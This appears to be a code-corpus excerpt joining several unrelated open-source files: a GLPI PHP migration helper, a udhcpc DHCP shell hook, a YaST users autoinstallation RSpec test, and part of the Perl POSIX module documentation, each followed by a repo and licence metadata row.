}
/**
* Set migration
*
* @param Migration $migration Migration instance
*
* @return Update
*/
public function setMigration(Migration $migration) {
$this->migration = $migration;
return $this;
}
/**
* Check if expected security key file is missing.
*
* @return bool
*/
public function isExpectedSecurityKeyFileMissing(): bool {
$expected_key_path = $this->getExpectedSecurityKeyFilePath();
if ($expected_key_path === null) {
return false;
}
return !file_exists($expected_key_path);
}
/**
* Returns expected security key file path.
* Will return null for GLPI versions that was not yet handling a custom security key.
*
* @return string|null
*/
public function getExpectedSecurityKeyFilePath(): ?string {
$glpikey = new GLPIKey();
return $glpikey->getExpectedKeyPath($this->getCurrents()['version']);
}
/**
* Get migrations that have to be ran.
*
* @param string $current_version
* @param bool $force_latest
*
* @return array
*/
public function getMigrationsToDo(string $current_version, bool $force_latest = false): array {
$migrations = [];
$current_version = VersionParser::getNormalizedVersion($current_version);
$pattern = '/^update_(?<source_version>\d+\.\d+\.(?:\d+|x))_to_(?<target_version>\d+\.\d+\.(?:\d+|x))\.php$/';
$migration_iterator = new DirectoryIterator(GLPI_ROOT . '/install/migrations/');
foreach ($migration_iterator as $file) {
$versions_matches = [];
if ($file->isDir() || $file->isDot() || preg_match($pattern, $file->getFilename(), $versions_matches) !== 1) {
continue;
}
$force_migration = false;
if ($current_version === '9.2.2' && $versions_matches['target_version'] === '9.2.2') {
//9.2.2 upgrade script was not run from the release, see https://github.com/glpi-project/glpi/issues/3659
$force_migration = true;
} else if ($force_latest && version_compare($versions_matches['target_version'], $current_version, '=')) {
$force_migration = true;
}
if (version_compare($versions_matches['target_version'], $current_version, '>') || $force_migration) {
$migrations[$file->getRealPath()] = preg_replace(
'/^update_(\d+)\.(\d+)\.(\d+|x)_to_(\d+)\.(\d+)\.(\d+|x)\.php$/',
'update$1$2$3to$4$5$6',
$file->getBasename()
);
}
}
ksort($migrations);
return $migrations;
}
}
| trasher/glpi | inc/update.class.php | PHP | gpl-2.0 | 11,319 |
#!/bin/sh
source /etc/scripts/functions.sh
case $1 in
deconfig)
net_if_reset $interface dhcp
;;
bound|renew)
net_if_config $interface dhcp "$ip" "$subnet" "$router" "$dns"
;;
esac
| evo-cloud/stemcell | packages/rootfs-vapor/scripts/udhcpc-script.sh | Shell | gpl-2.0 | 222 |
#!/usr/bin/env rspec
require_relative "../../../test_helper"
require "yaml"
require "users/clients/auto"
require "y2users/autoinst/reader"
require "y2issues"
Yast.import "Report"
# defines exported users
require_relative "../../../fixtures/users_export"
describe Y2Users::Clients::Auto do
let(:mode) { "autoinstallation" }
let(:args) { [func] }
before do
allow(Yast).to receive(:import).and_call_original
allow(Yast).to receive(:import).with("Ldap")
allow(Yast).to receive(:import).with("LdapPopup")
allow(Yast::Mode).to receive(:mode).and_return(mode)
allow(Yast::Stage).to receive(:initial).and_return(true)
allow(Yast::WFM).to receive(:Args).and_return(args)
end
describe "#run" do
context "Import" do
let(:func) { "Import" }
let(:args) { [func, users] }
context "when double users have been given in the profile" do
let(:mode) { "normal" }
let(:users) { YAML.load_file(FIXTURES_PATH.join("users_error.yml")) }
it "report error" do
allow(Yast::Stage).to receive(:initial).and_return(false)
expect(Yast::Report).to receive(:Error)
.with(_("Found users in profile with equal <username>."))
expect(Yast::Report).to receive(:Error)
.with(_("Found users in profile with equal <uid>."))
expect(subject.run).to eq(true)
end
end
context "when users without any UID are defined in the profile" do
let(:users) { YAML.load_file(FIXTURES_PATH.join("users_no_error.yml")) }
it "will not be checked for double UIDs" do
expect(Yast::Report).not_to receive(:Error)
.with(_("Found users in profile with equal <username>."))
expect(Yast::Report).not_to receive(:Error)
.with(_("Found users in profile with equal <uid>."))
expect(subject.run).to eq(true)
end
end
context "when root password linuxrc attribute is set" do
before do
allow(Yast::Linuxrc).to receive(:InstallInf).with("RootPassword").and_return("test")
end
context "when profile contain root password" do
let(:users) { USERS_EXPORT }
it "keeps root password from profile" do
allow(Y2Issues).to receive(:report).and_return(true) # fixture contain dup uids
expect(subject.run).to eq(true)
config = Y2Users::ConfigManager.instance.target
root_user = config.users.root
expect(root_user.password.value.encrypted?).to eq true
expect(root_user.password.value.content).to match(/^\$6\$AS/)
end
end
context "when profile does not contain root password" do
let(:users) { {} }
it "sets root password to linuxrc value" do
expect(subject.run).to eq(true)
config = Y2Users::ConfigManager.instance.target
root_user = config.users.root
expect(root_user.password.value.encrypted?).to eq false
expect(root_user.password.value.content).to eq "test"
end
end
end
context "when some issue is registered" do
let(:users) { { "users" => [] } }
let(:reader) { Y2Users::Autoinst::Reader.new(users) }
let(:issues) { Y2Issues::List.new }
let(:continue?) { true }
let(:result) do
Y2Users::ReadResult.new(Y2Users::Config.new, issues)
end
before do
allow(Y2Users::Autoinst::Reader).to receive(:new).and_return(reader)
allow(reader).to receive(:read).and_return(result)
issues << Y2Issues::InvalidValue.new("dummy", location: nil)
allow(Y2Issues).to receive(:report).and_return(continue?)
end
it "reports the issues" do
expect(Y2Issues).to receive(:report).with(issues)
subject.run
end
context "and the user wants to continue" do
let(:continue?) { true }
it "returns true" do
expect(subject.run).to eq(true)
end
end
context "and the user does not want to continue" do
let(:continue?) { false }
it "returns false" do
expect(subject.run).to eq(false)
end
end
end
end
context "Change" do
let(:func) { "Change" }
it "returns the 'summary' autosequence result" do
expect(subject).to receive(:AutoSequence).and_return(:next)
expect(subject.run).to eq(:next)
end
end
context "Summary" do
let(:func) { "Summary" }
before do
allow(Yast::Users).to receive(:Summary).and_return("summary")
end
it "returns the users summary" do
expect(subject.run).to eq("summary")
end
end
context "Export" do
let(:func) { "Export" }
let(:args) { [func] }
let(:local_users) { double("local_users") }
let(:all_users) { double("all_users") }
before do
allow(Yast::WFM).to receive(:Args).and_return(args)
allow(Yast::Users).to receive(:Export).with("default")
.and_return(all_users)
allow(Yast::Users).to receive(:Export).with("compact")
.and_return(local_users)
end
it "exports all users and groups" do
expect(subject.run).to eq(all_users)
end
context "when 'compact' export is wanted" do
let(:args) { [func, "target" => "compact"] }
it "it exports only local users and groups" do
expect(subject.run).to eq(local_users)
end
end
end
context "Modified" do
let(:func) { "GetModified" }
before do
allow(Yast::Users).to receive(:Modified).and_return(true)
end
it "returns whether the data in Users module has been modified" do
expect(subject.run).to eq(true)
end
end
context "SetModified" do
let(:func) { "SetModified" }
it "sets the Users module as modified" do
expect(Yast::Users).to receive(:SetModified).with(true)
subject.run
end
end
context "Reset" do
let(:func) { "Reset" }
it "removes the configuration object" do
# reset is not called during installation
allow(Yast::Stage).to receive(:initial).and_return(false)
expect(Yast::Users).to receive(:Import).with({})
subject.run
end
end
end
end
| yast/yast-users | test/lib/users/clients/auto_test.rb | Ruby | gpl-2.0 | 6,417 |
=head1 NAME
POSIX - Perl interface to IEEE Std 1003.1
=head1 SYNOPSIS
use POSIX ();
use POSIX qw(setsid);
use POSIX qw(:errno_h :fcntl_h);
printf "EINTR is %d\n", EINTR;
$sess_id = POSIX::setsid();
$fd = POSIX::open($path, O_CREAT|O_EXCL|O_WRONLY, 0644);
# note: that's a filedescriptor, *NOT* a filehandle
=head1 DESCRIPTION
The POSIX module permits you to access all (or nearly all) the standard
POSIX 1003.1 identifiers. Many of these identifiers have been given Perl-ish
interfaces.
I<Everything is exported by default> with the exception of any POSIX
functions with the same name as a built-in Perl function, such as
C<abs>, C<alarm>, C<rmdir>, C<write>, etc.., which will be exported
only if you ask for them explicitly. This is an unfortunate backwards
compatibility feature. You can stop the exporting by saying S<C<use
POSIX ()>> and then use the fully qualified names (I<e.g.>, C<POSIX::SEEK_END>),
or by giving an explicit import list. If you do neither, and opt for the
default, S<C<use POSIX;>> has to import I<553 symbols>.
This document gives a condensed list of the features available in the POSIX
module. Consult your operating system's manpages for general information on
most features. Consult L<perlfunc> for functions which are noted as being
identical to Perl's builtin functions.
The first section describes POSIX functions from the 1003.1 specification.
The second section describes some classes for signal objects, TTY objects,
and other miscellaneous objects. The remaining sections list various
constants and macros in an organization which roughly follows IEEE Std
1003.1b-1993.
=head1 CAVEATS
A few functions are not implemented because they are C specific. If you
attempt to call these, they will print a message telling you that they
aren't implemented, and suggest using the Perl equivalent, should one
exist. For example, trying to access the C<setjmp()> call will elicit the
message "C<setjmp() is C-specific: use eval {} instead>".
Furthermore, some evil vendors will claim 1003.1 compliance, but in fact
are not so: they will not pass the PCTS (POSIX Compliance Test Suites).
For example, one vendor may not define C<EDEADLK>, or the semantics of the
errno values set by C<open(2)> might not be quite right. Perl does not
attempt to verify POSIX compliance. That means you can currently
successfully say "use POSIX", and then later in your program you find
that your vendor has been lax and there's no usable C<ICANON> macro after
all. This could be construed to be a bug.
=head1 FUNCTIONS
=over 8
=item C<_exit>
This is identical to the C function C<_exit()>. It exits the program
immediately which means among other things buffered I/O is B<not> flushed.
Note that when using threads and in Linux this is B<not> a good way to
exit a thread because in Linux processes and threads are kind of the
same thing (Note: while this is the situation in early 2003 there are
projects under way to have threads with more POSIXly semantics in Linux).
If you want not to return from a thread, detach the thread.
=item C<abort>
This is identical to the C function C<abort()>. It terminates the
process with a C<SIGABRT> signal unless caught by a signal handler or
if the handler does not return normally (it e.g. does a C<longjmp>).
=item C<abs>
This is identical to Perl's builtin C<abs()> function, returning
the absolute value of its numerical argument.
=item C<access>
Determines the accessibility of a file.
if( POSIX::access( "/", &POSIX::R_OK ) ){
print "have read permission\n";
}
Returns C<undef> on failure. Note: do not use C<access()> for
security purposes. Between the C<access()> call and the operation
you are preparing for the permissions might change: a classic
I<race condition>.
=item C<acos>
This is identical to the C function C<acos()>, returning
the arcus cosine of its numerical argument. See also L<Math::Trig>.
=item C<alarm>
This is identical to Perl's builtin C<alarm()> function,
either for arming or disarming the C<SIGARLM> timer.
=item C<asctime>
This is identical to the C function C<asctime()>. It returns
a string of the form
"Fri Jun 2 18:22:13 2000\n\0"
and it is called thusly
$asctime = asctime($sec, $min, $hour, $mday, $mon,
$year, $wday, $yday, $isdst);
The C<$mon> is zero-based: January equals C<0>. The C<$year> is
1900-based: 2001 equals C<101>. C<$wday> and C<$yday> default to zero
(and are usually ignored anyway), and C<$isdst> defaults to -1.
=item C<asin>
This is identical to the C function C<asin()>, returning
the arcus sine of its numerical argument. See also L<Math::Trig>.
=item C<assert>
Unimplemented, but you can use L<perlfunc/die> and the L<Carp> module
to achieve similar things.
=item C<atan>
This is identical to the C function C<atan()>, returning the
arcus tangent of its numerical argument. See also L<Math::Trig>.
=item C<atan2>
This is identical to Perl's builtin C<atan2()> function, returning
the arcus tangent defined by its two numerical arguments, the I<y>
coordinate and the I<x> coordinate. See also L<Math::Trig>.
=item C<atexit>
C<atexit()> is C-specific: use C<END {}> instead, see L<perlsub>.
=item C<atof>
C<atof()> is C-specific. Perl converts strings to numbers transparently.
If you need to force a scalar to a number, add a zero to it.
=item C<atoi>
C<atoi()> is C-specific. Perl converts strings to numbers transparently.
If you need to force a scalar to a number, add a zero to it.
If you need to have just the integer part, see L<perlfunc/int>.
=item C<atol>
C<atol()> is C-specific. Perl converts strings to numbers transparently.
If you need to force a scalar to a number, add a zero to it.
If you need to have just the integer part, see L<perlfunc/int>.
=item C<bsearch>
C<bsearch()> not supplied. For doing binary search on wordlists,
see L<Search::Dict>.
=item C<calloc>
C<calloc()> is C-specific. Perl does memory management transparently.
=item C<ceil>
This is identical to the C function C<ceil()>, returning the smallest
integer value greater than or equal to the given numerical argument.
=item C<chdir>
This is identical to Perl's builtin C<chdir()> function, allowing
one to change the working (default) directory, see L<perlfunc/chdir>.
=item C<chmod>
This is identical to Perl's builtin C<chmod()> function, allowing
one to change file and directory permissions, see L<perlfunc/chmod>.
=item C<chown>
This is identical to Perl's builtin C<chown()> function, allowing one
to change file and directory owners and groups, see L<perlfunc/chown>.
=item C<clearerr>
Use the method C<IO::Handle::clearerr()> instead, to reset the error
state (if any) and EOF state (if any) of the given stream.
=item C<clock>
This is identical to the C function C<clock()>, returning the
amount of spent processor time in microseconds.
=item C<close>
Close the file. This uses file descriptors such as those obtained by calling
C<POSIX::open>.
$fd = POSIX::open( "foo", &POSIX::O_RDONLY );
POSIX::close( $fd );
Returns C<undef> on failure.
See also L<perlfunc/close>.
=item C<closedir>
This is identical to Perl's builtin C<closedir()> function for closing
a directory handle, see L<perlfunc/closedir>.
=item C<cos>
This is identical to Perl's builtin C<cos()> function, for returning
the cosine of its numerical argument, see L<perlfunc/cos>.
See also L<Math::Trig>.
=item C<cosh>
This is identical to the C function C<cosh()>, for returning
the hyperbolic cosine of its numeric argument. See also L<Math::Trig>.
=item C<creat>
Create a new file. This returns a file descriptor like the ones returned by
C<POSIX::open>. Use C<POSIX::close> to close the file.
$fd = POSIX::creat( "foo", 0611 );
POSIX::close( $fd );
See also L<perlfunc/sysopen> and its C<O_CREAT> flag.
=item C<ctermid>
Generates the path name for the controlling terminal.
$path = POSIX::ctermid();
=item C<ctime>
This is identical to the C function C<ctime()> and equivalent
to C<asctime(localtime(...))>, see L</asctime> and L</localtime>.
=item C<cuserid>
Get the login name of the owner of the current process.
$name = POSIX::cuserid();
=item C<difftime>
This is identical to the C function C<difftime()>, for returning
the time difference (in seconds) between two times (as returned
by C<time()>), see L</time>.
=item C<div>
C<div()> is C-specific, use L<perlfunc/int> on the usual C</> division and
the modulus C<%>.
=item C<dup>
This is similar to the C function C<dup()>, for duplicating a file
descriptor.
This uses file descriptors such as those obtained by calling
C<POSIX::open>.
Returns C<undef> on failure.
=item C<dup2>
This is similar to the C function C<dup2()>, for duplicating a file
descriptor to an another known file descriptor.
This uses file descriptors such as those obtained by calling
C<POSIX::open>.
Returns C<undef> on failure.
=item C<errno>
Returns the value of errno.
$errno = POSIX::errno();
This identical to the numerical values of the C<$!>, see L<perlvar/$ERRNO>.
=item C<execl>
C<execl()> is C-specific, see L<perlfunc/exec>.
=item C<execle>
C<execle()> is C-specific, see L<perlfunc/exec>.
=item C<execlp>
C<execlp()> is C-specific, see L<perlfunc/exec>.
=item C<execv>
C<execv()> is C-specific, see L<perlfunc/exec>.
=item C<execve>
C<execve()> is C-specific, see L<perlfunc/exec>.
=item C<execvp>
C<execvp()> is C-specific, see L<perlfunc/exec>.
=item C<exit>
This is identical to Perl's builtin C<exit()> function for exiting the
program, see L<perlfunc/exit>.
=item C<exp>
This is identical to Perl's builtin C<exp()> function for
returning the exponent (I<e>-based) of the numerical argument,
see L<perlfunc/exp>.
=item C<fabs>
This is identical to Perl's builtin C<abs()> function for returning
the absolute value of the numerical argument, see L<perlfunc/abs>.
=item C<fclose>
Use method C<IO::Handle::close()> instead, or see L<perlfunc/close>.
=item C<fcntl>
This is identical to Perl's builtin C<fcntl()> function,
see L<perlfunc/fcntl>.
=item C<fdopen>
Use method C<IO::Handle::new_from_fd()> instead, or see L<perlfunc/open>.
=item C<feof>
Use method C<IO::Handle::eof()> instead, or see L<perlfunc/eof>.
=item C<ferror>
Use method C<IO::Handle::error()> instead.
=item C<fflush>
Use method C<IO::Handle::flush()> instead.
See also C<L<perlvar/$OUTPUT_AUTOFLUSH>>.
=item C<fgetc>
Use method C<IO::Handle::getc()> instead, or see L<perlfunc/read>.
=item C<fgetpos>
Use method C<IO::Seekable::getpos()> instead, or see L<perlfunc/seek>.
=item C<fgets>
Use method C<IO::Handle::gets()> instead. Similar to E<lt>E<gt>, also known
as L<perlfunc/readline>.
=item C<fileno>
Use method C<IO::Handle::fileno()> instead, or see L<perlfunc/fileno>.
=item C<floor>
This is identical to the C function C<floor()>, returning the largest
integer value less than or equal to the numerical argument.
=item C<fmod>
This is identical to the C function C<fmod()>.
$r = fmod($x, $y);
It returns the remainder C<$r = $x - $n*$y>, where C<$n = trunc($x/$y)>.
The C<$r> has the same sign as C<$x> and magnitude (absolute value)
less than the magnitude of C<$y>.
=item C<fopen>
Use method C<IO::File::open()> instead, or see L<perlfunc/open>.
=item C<fork>
This is identical to Perl's builtin C<fork()> function
for duplicating the current process, see L<perlfunc/fork>
and L<perlfork> if you are in Windows.
=item C<fpathconf>
Retrieves the value of a configurable limit on a file or directory. This
uses file descriptors such as those obtained by calling C<POSIX::open>.
The following will determine the maximum length of the longest allowable
pathname on the filesystem which holds F</var/foo>.
$fd = POSIX::open( "/var/foo", &POSIX::O_RDONLY );
$path_max = POSIX::fpathconf($fd, &POSIX::_PC_PATH_MAX);
Returns C<undef> on failure.
=item C<fprintf>
C<fprintf()> is C-specific, see L<perlfunc/printf> instead.
=item C<fputc>
C<fputc()> is C-specific, see L<perlfunc/print> instead.
=item C<fputs>
C<fputs()> is C-specific, see L<perlfunc/print> instead.
=item C<fread>
C<fread()> is C-specific, see L<perlfunc/read> instead.
=item C<free>
C<free()> is C-specific. Perl does memory management transparently.
=item C<freopen>
C<freopen()> is C-specific, see L<perlfunc/open> instead.
=item C<frexp>
Return the mantissa and exponent of a floating-point number.
($mantissa, $exponent) = POSIX::frexp( 1.234e56 );
=item C<fscanf>
C<fscanf()> is C-specific, use E<lt>E<gt> and regular expressions instead.
=item C<fseek>
Use method C<IO::Seekable::seek()> instead, or see L<perlfunc/seek>.
=item C<fsetpos>
Use method C<IO::Seekable::setpos()> instead, or seek L<perlfunc/seek>.
=item C<fstat>
Get file status. This uses file descriptors such as those obtained by
calling C<POSIX::open>. The data returned is identical to the data from
Perl's builtin C<stat> function.
$fd = POSIX::open( "foo", &POSIX::O_RDONLY );
@stats = POSIX::fstat( $fd );
=item C<fsync>
Use method C<IO::Handle::sync()> instead.
=item C<ftell>
Use method C<IO::Seekable::tell()> instead, or see L<perlfunc/tell>.
=item C<fwrite>
C<fwrite()> is C-specific, see L<perlfunc/print> instead.
=item C<getc>
This is identical to Perl's builtin C<getc()> function,
see L<perlfunc/getc>.
=item C<getchar>
Returns one character from STDIN. Identical to Perl's C<getc()>,
see L<perlfunc/getc>.
=item C<getcwd>
Returns the name of the current working directory.
See also L<Cwd>.
=item C<getegid>
Returns the effective group identifier. Similar to Perl' s builtin
variable C<$(>, see L<perlvar/$EGID>.
=item C<getenv>
Returns the value of the specified environment variable.
The same information is available through the C<%ENV> array.
=item C<geteuid>
Returns the effective user identifier. Identical to Perl's builtin C<$E<gt>>
variable, see L<perlvar/$EUID>.
=item C<getgid>
Returns the user's real group identifier. Similar to Perl's builtin
variable C<$)>, see L<perlvar/$GID>.
=item C<getgrgid>
This is identical to Perl's builtin C<getgrgid()> function for
returning group entries by group identifiers, see
L<perlfunc/getgrgid>.
=item C<getgrnam>
This is identical to Perl's builtin C<getgrnam()> function for
returning group entries by group names, see L<perlfunc/getgrnam>.
=item C<getgroups>
Returns the ids of the user's supplementary groups. Similar to Perl's
builtin variable C<$)>, see L<perlvar/$GID>.
=item C<getlogin>
This is identical to Perl's builtin C<getlogin()> function for
returning the user name associated with the current session, see
L<perlfunc/getlogin>.
=item C<getpgrp>
This is identical to Perl's builtin C<getpgrp()> function for
returning the process group identifier of the current process, see
L<perlfunc/getpgrp>.
=item C<getpid>
Returns the process identifier. Identical to Perl's builtin
variable C<$$>, see L<perlvar/$PID>.
=item C<getppid>
This is identical to Perl's builtin C<getppid()> function for
returning the process identifier of the parent process of the current
process , see L<perlfunc/getppid>.
=item C<getpwnam>
This is identical to Perl's builtin C<getpwnam()> function for
returning user entries by user names, see L<perlfunc/getpwnam>.
=item C<getpwuid>
This is identical to Perl's builtin C<getpwuid()> function for
returning user entries by user identifiers, see L<perlfunc/getpwuid>.
=item C<gets>
Returns one line from C<STDIN>, similar to E<lt>E<gt>, also known
as the C<readline()> function, see L<perlfunc/readline>.
B<NOTE>: if you have C programs that still use C<gets()>, be very
afraid. The C<gets()> function is a source of endless grief because
it has no buffer overrun checks. It should B<never> be used. The
C<fgets()> function should be preferred instead.
=item C<getuid>
Returns the user's identifier. Identical to Perl's builtin C<$E<lt>> variable,
see L<perlvar/$UID>.
=item C<gmtime>
This is identical to Perl's builtin C<gmtime()> function for
converting seconds since the epoch to a date in Greenwich Mean Time,
see L<perlfunc/gmtime>.
=item C<isalnum>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:alnum:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
You may want to use the C<L<E<sol>\wE<sol>|perlrecharclass/Word
characters>> construct instead.
=item C<isalpha>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:alpha:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
=item C<isatty>
Returns a boolean indicating whether the specified filehandle is connected
to a tty. Similar to the C<-t> operator, see L<perlfunc/-X>.
=item C<iscntrl>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:cntrl:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
=item C<isdigit>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:digit:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
You may want to use the C<L<E<sol>\dE<sol>|perlrecharclass/Digits>>
construct instead.
=item C<isgraph>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:graph:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
=item C<islower>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:lower:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
Do B<not> use C</[a-z]/> unless you don't care about the current locale.
=item C<isprint>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:print:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
=item C<ispunct>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:punct:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
=item C<isspace>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:space:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
You may want to use the C<L<E<sol>\sE<sol>|perlrecharclass/Whitespace>>
construct instead.
=item C<isupper>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:upper:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
Do B<not> use C</[A-Z]/> unless you don't care about the current locale.
=item C<isxdigit>
Deprecated function whose use raises a warning, and which is slated to
be removed in a future Perl version. It is very similar to matching
against S<C<qr/ ^ [[:xdigit:]]+ $ /x>>, which you should convert to use
instead. The function is deprecated because 1) it doesn't handle UTF-8
encoded strings properly; and 2) it returns C<TRUE> even if the input is
the empty string. The function return is always based on the current
locale, whereas using locale rules is optional with the regular
expression, based on pragmas in effect and pattern modifiers (see
L<perlre/Character set modifiers> and L<perlre/Which character set
modifier is in effect?>).
The function returns C<TRUE> if the input string is empty, or if the
corresponding C function returns C<TRUE> for every byte in the string.
=item C<kill>
This is identical to Perl's builtin C<kill()> function for sending
signals to processes (often to terminate them), see L<perlfunc/kill>.
=item C<labs>
(For returning absolute values of long integers.)
C<labs()> is C-specific, see L<perlfunc/abs> instead.
=item C<lchown>
This is identical to the C function, except the order of arguments is
consistent with Perl's builtin C<chown()> with the added restriction
of only one path, not an list of paths. Does the same thing as the
C<chown()> function but changes the owner of a symbolic link instead
of the file the symbolic link points to.
=item C<ldexp>
This is identical to the C function C<ldexp()>
for multiplying floating point numbers with powers of two.
$x_quadrupled = POSIX::ldexp($x, 2);
=item C<ldiv>
(For computing dividends of long integers.)
C<ldiv()> is C-specific, use C</> and C<int()> instead.
=item C<link>
This is identical to Perl's builtin C<link()> function
for creating hard links into files, see L<perlfunc/link>.
=item C<localeconv>
Get numeric formatting information. Returns a reference to a hash
containing the current locale formatting values. Users of this function
should also read L<perllocale>, which provides a comprehensive
discussion of Perl locale handling, including
L<a section devoted to this function|perllocale/The localeconv function>.
Here is how to query the database for the B<de> (Deutsch or German) locale.
my $loc = POSIX::setlocale( &POSIX::LC_ALL, "de" );
print "Locale: \"$loc\"\n";
my $lconv = POSIX::localeconv();
foreach my $property (qw(
decimal_point
thousands_sep
grouping
int_curr_symbol
currency_symbol
mon_decimal_point
mon_thousands_sep
mon_grouping
positive_sign
negative_sign
int_frac_digits
frac_digits
p_cs_precedes
p_sep_by_space
n_cs_precedes
n_sep_by_space
p_sign_posn
n_sign_posn
))
{
printf qq(%s: "%s",\n),
$property, $lconv->{$property};
}
=item C<localtime>
This is identical to Perl's builtin C<localtime()> function for
converting seconds since the epoch to a date see L<perlfunc/localtime>.
=item C<log>
This is identical to Perl's builtin C<log()> function,
returning the natural (I<e>-based) logarithm of the numerical argument,
see L<perlfunc/log>.
=item C<log10>
This is identical to the C function C<log10()>,
returning the 10-base logarithm of the numerical argument.
You can also use
sub log10 { log($_[0]) / log(10) }
or
sub log10 { log($_[0]) / 2.30258509299405 }
or
sub log10 { log($_[0]) * 0.434294481903252 }
=item C<longjmp>
C<longjmp()> is C-specific: use L<perlfunc/die> instead.
=item C<lseek>
Move the file's read/write position. This uses file descriptors such as
those obtained by calling C<POSIX::open>.
$fd = POSIX::open( "foo", &POSIX::O_RDONLY );
$off_t = POSIX::lseek( $fd, 0, &POSIX::SEEK_SET );
Returns C<undef> on failure.
=item C<malloc>
C<malloc()> is C-specific. Perl does memory management transparently.
=item C<mblen>
This is identical to the C function C<mblen()>.
Perl does not have any support for the wide and multibyte
characters of the C standards, so this might be a rather
useless function.
=item C<mbstowcs>
This is identical to the C function C<mbstowcs()>.
Perl does not have any support for the wide and multibyte
characters of the C standards, so this might be a rather
useless function.
=item C<mbtowc>
This is identical to the C function C<mbtowc()>.
Perl does not have any support for the wide and multibyte
characters of the C standards, so this might be a rather
useless function.
=item C<memchr>
C<memchr()> is C-specific, see L<perlfunc/index> instead.
=item C<memcmp>
C<memcmp()> is C-specific, use C<eq> instead, see L<perlop>.
=item C<memcpy>
C<memcpy()> is C-specific, use C<=>, see L<perlop>, or see L<perlfunc/substr>.
=item C<memmove>
C<memmove()> is C-specific, use C<=>, see L<perlop>, or see L<perlfunc/substr>.
